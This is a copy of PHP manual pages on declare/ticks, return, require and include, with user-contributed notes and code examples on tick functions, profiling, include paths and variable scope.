* the file encoding must be compatible (at least in the ASCII range of characters) to the zend.script_encoding setting. If you set 'zend.script_encoding' to UTF-8 and save the file in UTF-16, PHP will not be able to interpret the file, let alone the declare statement. As long as you use ASCII compatible encodings (i.e. ISO-8859-1(5), UTF-8 etc) for both the file encoding as the zend.script_encoding, you should be fine. (However, I have not experimented with adding non-ascii characters in comments above the declare statement).

* PHP string literals are converted from your source code encoding (either set with the declare statement or else according to zend.script_encoding) to the mbstring.internal_encoding as set in your php.ini (even if you change the setting using mb_internal_encoding). As an example:

php.ini:
mbstring.internal_encoding = UTF-8

test.php:
<?php
declare(encoding = 'ISO-8859-15');
mb_internal_encoding( 'ISO-8859-15' );
echo 'aäaß' . "\n";
?>

This will still output the string UTF-8 encoded; in a terminal/browser with encoding 'ISO-8859-15' the string will look (something) like this: aÃ€aÃ
nospam dot narf at bofh dot bg 13-Feb-2014 11:43
This manual doesn't say what "script's encoding" means and how declaring it affects its behavior.

Of course declare(encoding='foo') would specify the encoding - that's self-explanatory and not helpful.
php dot net at e-z dot name 17-Oct-2013 03:34
you can register multiple tick functions:

<?PHP
function a() { echo "a\n"; }
function b() { echo "b\n"; }

register_tick_function('a');
register_tick_function('b');
register_tick_function('b');
register_tick_function('b');

?>

will output on every tick:
a
b
b
b
sawyerrken at gmail dot com 09-Aug-2013 03:31
In the following example:

<?php
function handler(){
    print "hello <br />";
}

register_tick_function("handler");

declare(ticks = 1){
    $b = 2;
} //closing curly bracket tickable
?>

"Hello" will be displayed twice because the closing curly bracket is also tickable.

One may wonder why the opening curly bracket is not tickable if the closing is tickable. This is because the instruction for PHP to start ticking is given by the opening curly bracket so the ticking starts immediately after it.
Kamil Pawelkiewicz 11-Oct-2012 03:56
I've created memory usage monitor class using tick event.

The result is returned in a fancy graph using GD library.

You can get the source, readme and example script at:
https://github.com/kampaw/profiler

Usage is very simple:

<?php
  require('profiler.php');

  $profiler = new profiler;
  declare(ticks = 1000);

  // monitor started
  // insert your code here

  $profiler->chart();
?>
ramamneh at gmail dot com 19-Dec-2010 08:15
check loaded server connection

<?php
$connection  = false;
function checkConnection( $connectionWaitingTime = 3 )
{
    // check connection & time
    global $time,$connection;
    if( ($t = (time() - $time)) >= $waitingTime  && !$connection){
        echo ("<p> Server not responding  for <strong>$t</strong> seconds !! </p>");
        die("Connection aborted");

    }

}

register_tick_function("checkConnection");
$time = time();
declare (ticks=1)
{
    while( true ){ // connecting to loaded server
    }
    $connection = true ;
}
?>
Anonymous 27-Sep-2010 11:10
It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code.

A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time.

That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions.
markandrewslade at dontspamemeat dot gmail 13-Feb-2009 06:06
Note that the two methods for calling declare are not identical.

Method 1:

<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 1
declare(ticks=1);
while(1) sleep(1);

/* Output:
[1234544435.7160] Tick.--start--
[1234544435.7161] Tick.
[1234544435.7162] Tick.
[1234544436.7163] Tick.
[1234544437.7166] Tick.
*/

?>

Method 2:
<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 2
declare(ticks=1) {
    while(1) sleep(1);
}

/* Output:
[1234544471.6486] Tick.--start--
[1234544472.6489] Tick.
[1234544473.6490] Tick.
[1234544474.6492] Tick.
[1234544475.6493] Tick.
*/
?>

Notice that when using {} after declare, do_tick wasn't auto-called until about 1 second after we entered the declare {} block.  However when not using the {}, do_tick was auto-called not once but twice immediately after calling declare();.

I'm assuming this is due to how PHP handles ticking internally.  That is, declare() without the {} seems to trigger more low-level instructions which in turn fires tick a few times (if ticks=1) in the act of declaring.
anotheruser at example dot com 24-Aug-2008 01:50
Code evaluation script which uses debug_backtrace() to get execution time in ns, relative current line number, function, file, and calling function info on each tick, and shove it all in $script_stats array.  See debug_backtrace manual to customize what info is collected.

Warning: this will exhaust allowed memory very easily, so adjust tick counter according to the size of your code.  Also, array_key_exists checking on debug_backtrace arrays is removed here only to keep this example simple, but should be added to avoid a large number of resulting PHP Notice errors.

<?php

$script_stats = array();
$time = microtime(true);

function track_stats(){
    global $script_stats,$time;
    $trace = debug_backtrace();
    $exe_time = (microtime(true) - $time) * 1000;
    $func_args = implode(", ",$trace[1]["args"]);
    $script_stats[] = array(
        "current_time" => microtime(true),
        "memory" => memory_get_usage(true),
        "file" => $trace[1]["file"].': '.$trace[1]["line"],
        "function" => $trace[1]["function"].'('.$func_args.')',
        "called_by" => $trace[2]["function"].' in '.$trace[2]["file"].': '.$trace[2]["line"],
        "ns" => $exe_time
        );
    $time = microtime(true);
    }

declare(ticks = 1);
register_tick_function("track_stats");

// the rest of your project code

// output $script_stats into a html table or something

?>
zabmilenko at charter dot net 08-Jan-2008 10:49
If you misspell the directive, you won't get any error or warning.  The declare block will simply act as a nest for statements:

<?php
declare(tocks="four hundred")
{
    // Has no affect on code and produces
    // no error or warning.
}
?>

Tested in php 5.2.5 on XPsp2
rosen_ivanov at abv dot bg 28-Aug-2006 03:06
As Chris already noted, ticks doesn't make your script multi-threaded, but they are still great. I use them mainly for profiling - for example, placing the following at the very beginning of the script allows you to monitor its memory usage:

<?php

function profiler($return=false) {
    static $m=0;
    if ($return) return "$m bytes";
    if (($mem=memory_get_usage())>$m) $m = $mem;
}

register_tick_function('profiler');
declare(ticks=1);

/*
Your code here
*/

echo profiler(true);

?>

This approach is more accurate than calling memory_get_usage only in the end of the script. It has some performance overhead though :)
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 09:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

<?php
function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}
?>

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
warhog at warhog dot net 18-Dec-2005 09:39
as i read about ticks the first time i thought "wtf, useless crap" - but then i discovered some usefull application...

you can declare a tick-function which checks each n executions of your script whether the connection is still alive or not, very usefull for some kind of scripts to decrease serverload

<?php

function check_connection()
{ if (connection_aborted())
   { // do something here, e.g. close database connections
      // (or  use a shutdown function for this
      exit; }
}

register_tick_function("connection");

declare (ticks=20)
{
  // put your PHP-Script here
  // you may increase/decrease the number of ticks
}

?>
chris-at-free-source.com 28-Feb-2005 09:16
Also note that PHP is run in a single thread and so everything it does will be one line of code at a time.  I'm not aware of any true threading support in PHP, the closest you can get is to fork.

so, declare tick doens't "multi-thread" at all, it is simply is a way to automaticaly call a function every n-lines of code.
fok at nho dot com dot br 08-Jul-2003 03:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}   // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--
daniel@swn 01-Feb-2003 08:56
<?php
ob_end_clean();
ob_implicit_flush(1);

function a() {
 for($i=0;$i<=100000;$i++) { }
 echo "function a() ";
}
function b() {
 for($i=0;$i<=100000;$i++) { }
 echo "function b() ";
}

register_tick_function ("a");
register_tick_function ("b");

declare (ticks=4)
{
    while(true)
    {
        sleep(1);
        echo "\n<br><b>".time()."</b><br>\n";;
    }
}
?>
You will see that a() and b() are slowing down this process. They are in fact not executed every second as expected. So this function is not a real alternative for multithreading using some slow functions..there is no difference to this way: while (true) { a(); b(); sleep(1); }
rob_spamsux at rauchmedien dot ihatespam dot com 19-Mar-2002 11:45
Correction to above note:

Apparently, the end brace '}' at the end of the statement causes a tick.

So using

------------
declare (ticks=1) echo "1 tick after this prints";
------------

gives the expected behavior of causing 1 tick.

Note: the tick is issued after the statement executes.

Also, after playing around with this, I found that it is not really the multi-tasking I had expected. It behaves the same as simply calling the functions. I.e. each function must finish before passing the baton to the next function. They do not run in parallel.

It also seems that they always run in the order in which they were registered.

So,

<?php
------------
# register tick functions
register_tick_function ("a");
register_tick_function ("b");

# make the tick functions run
declare (ticks=1);
?>
------------

is equivalent to

------------
a();
b();
------------

It is simply a convenient way to have functions called periodically while some other code is being executed. I.e. you could use it to periodically check the status of something and then exit the script or do something else based on the status.


return

(PHP 4, PHP 5)

return returns program control to the calling module. Execution resumes at the statement following the called module's invocation.

If called from within a function, the return statement immediately ends execution of the current function, and returns its argument as the value of the function call. return also ends the execution of an eval() statement or script file.

If called from the global scope, then execution of the current script file is ended. If the current script file was included or required, then control is passed back to the calling file. Furthermore, if the current script file was included, then the value given to return will be returned as the value of the include call. If return is called from within the main script file, then script execution ends. If the current script file was named by the auto_prepend_file or auto_append_file configuration options in php.ini, then that script file's execution is ended.

For more information, see Returning values.

Note: Note that since return is a language construct and not a function, the parentheses surrounding its arguments are not required. It is common to leave them out, and you actually should do so as PHP has less work to do in this case.

Note: If no parameter is supplied, then the parentheses must be omitted and NULL will be returned. Calling return with parentheses but with no arguments will result in a parse error.

Note: You should never use parentheses around your return variable when returning by reference, as this will not work. You can only return variables by reference, not the result of a statement. If you use return ($a); then you're not returning a variable, but the result of the expression ($a) (which is, of course, the value of $a).

User Contributed Notes

Tom 05-Feb-2014 07:35
Keep in mind that even if PHP allows you to use "return" in the global scope it is very bad design to do so.

Using the return statement in the global scope encourages programmers to use files like functions and treat the include-statement like a function call. Where they initialize the file's "parameters" by setting variables in the global scope and reading them in the included file.

Like so: (WARNING! This code was done by professionals in a controlled environment. Do NOT try this at home!)
<?php
$parameter1 = "foo";
$parameter2 = "bar";
$result = include "voodoo.php";
?>

Where "voodoo.php" may be something like:
<?php
return $parameter1 . " " . $parameter2;
?>

This is one of the worst designs you can implement since there is no function head, no way to understand where $parameter1 and $parameter2 come from by just looking at "voodoo". No explanation in the calling file as of what $parameter1 and -2 are doing or why they are even there. If the names of the parameters ever change in "voodoo" it will break the calling file. No IDE will properly support this very poor "design". And I won't even start on the security issues!

If you find yourself in a situation where a return-statement in global scope is the answer to your problem, then maybe you are asking the wrong questions. Actually you may be better off using a function and throwing an exception where needed.

Files are NOT functions. They should NOT be treated as such and under no circumstances should they "return" anything at all.

Remember: Every time you abuse a return statement God kills a kitten and makes sure you are reborn as a mouse!
J.D. Grimes 26-Jun-2013 05:11
Note that because PHP processes the file before running it, any functions defined in an included file will still be available, even if the file is not executed.

Example:

a.php
<?php
include 'b.php';

foo();
?>

b.php
<?php
return;

function foo() {
     echo 'foo';
}
?>

Executing a.php will output "foo".
andrew at neonsurge dot com 15-Aug-2008 10:40
Response to stoic's message below...

I believe the way you've explained this for people may be a bit confusing, and your verbiage is incorrect.  Your script below is technically calling return from a global scope, but as it says right after that in the description above... "If the current script file was include()ed or require()ed, then control is passed back to the calling file".  You are in a included file.  Just making sure that is clear.

Now, the way php works is before it executes actual code it does what you call "processing" is really just a syntax check.  It does this every time per-file that is included before executing that file.  This is a GOOD feature, as it makes sure not to run any part of non-functional code.  What your example might have also said... is that in doing this syntax check it does not execute code, merely runs through your file (or include) checking for syntax errors before execution.  To show that, you should put the echo "b"; and echo "a"; at the start of each file.  This will show that "b" is echoed once, and then "a" is echoed only once, because the first time it syntax checked a.php, it was ok.  But the second time the syntax check failed and thus it was not executed again and terminated execution of the application due to a syntax error.

Just something to help clarify what you have stated in your comments.
warhog at warhog dot net 18-Dec-2005 09:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".


require

(PHP 4, PHP 5)

require is identical to include except upon failure it will also produce a fatal E_COMPILE_ERROR level error. In other words, it will halt the script whereas include only emits a warning (E_WARNING) which allows the script to continue.

See the include documentation for how this works.

User Contributed Notes

theunis dot botha1 at gmail dot com 11-Sep-2014 08:33
Just for those who may wonder about receiving E_WARNING (in custom error handlers) - PHP generates an E_WARNING when require or require_once fails - and before control returns to your script, it generates an E_COMPILE_ERROR.

So when require() or require_once() fails - don't be surprised to see two messages in your logs (if you have your logging setup this way) - once for the E_WARNING caught by your custom error handler, and once for getting the error from error_get_last() in your shutdown function (which is the actual E_COMPILE_ERROR you were expecting)
moreau dot marc dot web at gmail dot com 08-Feb-2014 07:10
Petit script pour résoudre le problème de l'inclusion dans l'inclusion.

A requiert B qui requiert C -> l'on doit normalement faire correspondre le requiere de B en fonction de l'endroit ou se trouve A dans l'arborescence du site. Pas de souci, sauf si l'on est amené à requérir B depuis une autre page, impossible alors de faire appel au C -> cela retourne une erreur "fichier non trouvé".

Voici une solution qui marche sur tout type de configuration:

Dans B:

<?php

chdir(__DIR__); //Sert à indiquer à PHP le dossier de référence de travail

$file_to_require=realpath('./../../adresse_de_C_relative_par_raport_a_B.php'); //Crée l'adresse absolue de C

require($file_to_require); unset($file_to_require);

?>
hans at ratzinger dot com 01-Sep-2013 02:25
Thanks a lot for this information Brian! This drove me nuts for many hours! This is the first information I found in the web that a white page can be caused by a require -> your script will die if the file is not found!!!
Wing 10-May-2010 02:04
if you want always include, require, open files using some 'root' folder based path you may may put file '.htroot' in 'root' folder and  use this.

while(!file_exists(getcwd()."/.htroot")){chdir('..');}

This code change current dir to dir where '.htroot' file located and everywhere you can use relative to 'root' paths.

Please avoid absent of '.htroot' file.
pedro dot evangelista at gmail dot com 16-Dec-2008 03:23
Be careful when using symbolic links, because require will search the real path of the file and not the path relative to the symbolic link.

Imagine your script A.php resides on directory /a and you create a symbolic link for it on directory /b/c.
So for the code

<?php
echo realpath("../");
?>

you might expect the directory /b, but actually you get the root directory /.

If you need to include the file /b/B.php inside your A.php, you can't use the following

<?php
require "../B.php";
?>

because it will search the root directory, not the /b directory.

Regards.
duccio at getlocal dot it 23-Nov-2008 10:37
In response to some dot user at notarealdomain dot com:

This is because require executes the code "as if" it was code written inside of the function, inheriting everything including the scope. But here there is something even more interesting:

<requiredfile.php>:
<?php

$this->a.=" is visible also under a require\n";
$b="While the variable b is a local variable of the function\n";
function FunctionUnderRequire() {
    echo "But the functions declared inside of a require called from a class function, just as when defined from inside any other function, are always global\n";
}
?>

<mainfile.php>:
<?php

error_reporting(E_ALL|E_STRICT);

class UserClass {

    protected $a;

    public function UserFunction() {
        $this->a='The class variable a';
        require 'requiredfile.php';
        echo $this->a; // "The class variable a  is visible also under a require\n"
        echo $this->b; // Notice: Undefined property: UserClass::$b
        echo $b; // "While the variable b is a local variable of the function\n"
        $this->FunctionUnderRequire(); //Fatal error!
        FunctionUnderRequire(); // "But the functions..."
    }
}

$UserClass=new UserClass;
$UserClass->UserFunction();
?>

I'm wondering if there is a method for declaring class public/private/protected functions from inside a require/include...
ricardo dot ferro at gmail dot com 14-May-2008 08:15
Two functions to help:

<?php

function add_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
        {
            trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
            continue;
        }

        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (array_search($path, $paths) === false)
            array_push($paths, $path);

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

function remove_include_path ($path)
{
    foreach (func_get_args() AS $path)
    {
        $paths = explode(PATH_SEPARATOR, get_include_path());

        if (($k = array_search($path, $paths)) !== false)
            unset($paths[$k]);
        else
            continue;

        if (!count($paths))
        {
            trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
            continue;
        }

        set_include_path(implode(PATH_SEPARATOR, $paths));
    }
}

?>
Peter McDonald 16-Oct-2007 06:21
re the comment by moazzamk at gmail dot com

As the manual states require and require_once as of PHP 4.02 no longer call the file if the line of code it is on should not be executed.
scott 20-Sep-2007 10:27
If you want to verify that a file can be included or required, the simplest solution I've found is just to check that the file exists.

<?php

    if(file_exists($pageContentInc)){
        require_once $pageContentInc;
    }else{
        $pageContentInc = "common/content_404.inc";
        require_once $pageContentInc;
    }
?>

Does it really need to be any harder than that?
daniel at nohair dot com 07-Sep-2007 04:24
I love php.  But when file can't be included, 'require' or 'require_once' throw fatal error and halt the script, which is almost never desirable on a mission-critical production server.  I think it may be better to use something like the following.

<?php

if (@include 'plan_A.php') {
    // Plan A;
} elseif (@include 'plan_B.php') {
    // Plan B;
} else {
    // Hope never happens.  If does, then Email the webmaster;
    // Call 911, Medic, Fire, Police, the president;
    // Change hard drive, server, hosting service;
}

?>

Or handle trouble first is you wish

<?php

if (!@include 'plan_A.php') {
    // Someone has kidnapped/corrupted Plan_A.php;
    // Email the webmaster;
    // Change hard drive, server, hosting service;
} else {
    // Plan A;
}

?>
moazzamk at gmail dot com 17-Jul-2007 05:51
require and include read the included files even if they are not executed in the code. You can use eval() to avoid this.

eval('require filename;');

I don't know if it's faster to have the files included the regular way or the eval way though (in other words, I haven't tested their efficiency). It will be great if someone can test which is better.
some dot user at notarealdomain dot com 11-Jul-2007 04:58
Discovered a bit of weird behavior yesterday involving require() (using PHP 5.2.3).  If you use require() inside a function, the "globals" in the file will be local to the function.  An example of this:

test.php:
<?php
  function TestFunc()
  {
    require('test2.php');
    echo "<pre>" . print_r($GLOBALS, true) . "</pre>";
  }
?>

test2.php:
<?php
  $MyTestGlobal = Array();
?>

This happens because require is a statement that _inlines_ the target code - not a function that gets called.

To fix this, use the $GLOBALS superglobal:

test2.php:
<?php
  $GLOBALS["MyTestGlobal"] = Array();
?>
chris at chrisstockton dot org 20-Jun-2007 02:06
Remember, when using require that it is a statement, not a function. It's not necessary to write:
<?php
 require('somefile.php');
?>

The following:
<?php
require 'somefile.php';
?>

Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is.
31-Jan-2007 12:38
A note that drove me nuts for 2 days!

Be carfull if you have a newline or blank space befor your php tags in the included/required file it will read as html and outputed.

If your running your output through javascript string evaluations which would be sensitive to newlines/white spaces be carfull that the first chars in the file are the php tages eg <?php
bmessenger at 3servicesolution dot com 17-Oct-2006 10:06
// Looks like I might have a fix for some on the
// relative path issue.

if (!function_exists('bugFixRequirePath'))
{
    function bugFixRequirePath($newPath)
    {
        $stringPath = dirname(__FILE__);
        if (strstr($stringPath,":")) $stringExplode = "\\";
        else $stringExplode = "/";

        $paths = explode($stringExplode,$stringPath);

        $newPaths = explode("/",$newPath);

        if (count($newPaths) > 0)
        {
            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") array_pop($paths);
            }

            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") unset($newPaths[$i]);
            }

            reset($newPaths);

            $stringNewPath = implode($stringExplode,$paths).
                $stringExplode.implode($stringExplode,$newPaths);

                return $stringNewPath;
        }
    }
}

require_once(bugFixRequirePath("../config.php"));
gabe at websaviour dot com 14-Jul-2006 02:42
If you are experiencing a bug related to using relative paths with include or require, it may be related to a grandparent directory that is executable but not readable.  It will cause __FILE__ to return a relative path instead of the full path which it is supposed to show.  This manifests itself in interesting ways that can be seemingly unrelated.  For instance, I discovered it using the Smarty {debug} command which failed to find its template due to this issue.  Please see the following for more details:

http://bugs.php.net/bug.php?id=34552
http://shiftmanager.net/~kurt/test/
Inc 31-May-2006 05:35
I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd 11-May-2006 03:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net 25-Feb-2006 06:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
dave at davidhbrown dot us 22-Jan-2006 09:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
Marc 06-May-2005 07:42
This will sound elementary, but for C++ native programmers, be sure NOT to put a '#' in front of your include statements! The parser will not give you an error, but also will not include the file, making for a tedious debugging process.

In short, USE:
<?php
     include "yourfile.php";
?>

and DON'T use:
<?php
     #include "yourfile.php";
?>
richardbrenner(-at- )gmx(-)at 07-Apr-2005 10:58
If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
10-Feb-2005 07:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br 22-Nov-2004 08:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.


include

(PHP 4, PHP 5)

The include statement includes and evaluates the specified file.

The documentation below also applies to require.

Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing. The include construct will emit a warning if it cannot find a file; this is different behavior from require, which will emit a fatal error.

If a path is defined — whether absolute (starting with a drive letter or \ on Windows, or / on Unix/Linux systems) or relative to the current directory (starting with . or ..) — the include_path will be ignored altogether. For example, if a filename begins with ../, the parser will look in the parent directory to find the requested file.

For more information on how PHP handles including files and the include path, see the documentation for include_path.

When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.

Example #1 Basic include example

vars.php
<?php

$color = 'green';
$fruit = 'apple';

?>

test.php
<?php

echo "A $color $fruit"; // A

include 'vars.php';

echo "A $color $fruit"; // A green apple

?>

If the include occurs inside a function within the calling file, then all of the code contained in the called file will behave as though it had been defined inside that function. So, it will follow the variable scope of that function. An exception to this rule are magic constants which are evaluated by the parser before the include occurs.

Example #2 Including within functions

<?php

function foo()
{
    global $color;

    include 'vars.php';

    echo "A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
* $fruit is NOT available outside of this  *
* scope.  $color is because we declared it *
* as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

When a file is included, parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. For this reason, any code inside the target file which should be executed as PHP code must be enclosed within valid PHP start and end tags.

If "URL include wrappers" are enabled in PHP, you can specify the file to be included using a URL (via HTTP or other supported wrapper - see Supported Protocols and Wrappers for a list of protocols) instead of a local pathname. If the target server interprets the target file as PHP code, variables may be passed to the included file using a URL request string as used with HTTP GET. This is not strictly speaking the same thing as including the file and having it inherit the parent file's variable scope; the script is actually being run on the remote server and the result is then being included into the local script.

Warning

Windows versions of PHP prior to PHP 4.3.0 do not support access of remote files via this function, even if allow_url_fopen is enabled.

Example #3 include through HTTP

<?php

/* This example assumes that www.example.com is configured to parse .php
* files and not .txt files. Also, 'Works' here means that the variables
* $foo and $bar are available within the included file. */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include 'file.txt';  // Works.
include 'file.php';  // Works.

?>

Warning

Security warning

Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.

See also Remote files, fopen() and file() for related information.

Handling Returns: include returns FALSE on failure and raises a warning. Successful includes, unless overridden by the included file, return 1. It is possible to execute a return statement inside an included file in order to terminate processing in that file and return to the script which called it. Also, it's possible to return values from included files. You can take the value of the include call as you would for a normal function. This is not, however, possible when including remote files unless the output of the remote file has valid PHP start and end tags (as with any local file). You can declare the needed variables within those tags and they will be introduced at whichever point the file was included.

Because include is a special language construct, parentheses are not needed around its argument. Take care when comparing return value.

Example #4 Comparing return value of include

<?php
// won't work, evaluated as include(('vars.php') == 'OK'), i.e. include('')
if (include('vars.php') == 'OK') {
    echo 'OK';
}

// works
if ((include 'vars.php') == 'OK') {
    echo 'OK';
}
?>

Example #5 include and the return statement

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // prints 'PHP'

$bar = include 'noreturn.php';

echo $bar; // prints 1

?>

$bar is the value 1 because the include was successful. Notice the difference between the above examples. The first uses return within the included file while the other does not. If the file can't be included, FALSE is returned and E_WARNING is issued.

If there are functions defined in the included file, they can be used in the main file independent if they are before return or after. If the file is included twice, PHP 5 issues fatal error because functions were already declared, while PHP 4 doesn't complain about functions defined after return. It is recommended to use include_once instead of checking if the file was already included and conditionally return inside the included file.

Another way to "include" a PHP file into a variable is to capture the output by using the Output Control Functions with include. For example:

Example #6 Using output buffering to include a PHP file into a string

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        return ob_get_clean();
    }
    return false;
}

?>

In order to automatically include files within scripts, see also the auto_prepend_file and auto_append_file configuration options in php.ini.

Note: Because this is a language construct and not a function, it cannot be called using variable functions.

See also require, require_once, include_once, get_included_files(), readfile(), virtual(), and include_path.

User Contributed Notes

Ray.Paseur often uses Gmail 01-Oct-2014 08:05
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
Jochen mauch at mail dot de 18-Sep-2014 07:34
Typically I use PHP to build myself a rudimentary CMS, i.e. one not as powerful and GUI-ish to use as full-blown systems like e.g. Joomla or Typo3 for the sake of not having to dive exhaustingly into how to use these systems, or, in less words: for the sake of simplicity. Thus I wrote a function to include snippets based on an optional parameter specifying the snippets directory and two shorthands for frequently used snippets:

<?php
/* include function */
function includeSnippetHere($name, $snippetDir = 'snippets/') { include $snippetDir.$name; }
/* shorthands */
function abbrSSL() { includeSnippetHere('abbrSSL.htm'); }
function KonqOnly() { includeSnippetHere('KonqOnly.htm'); }
?>
abanarn at gmail dot com 11-Jul-2014 11:56
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
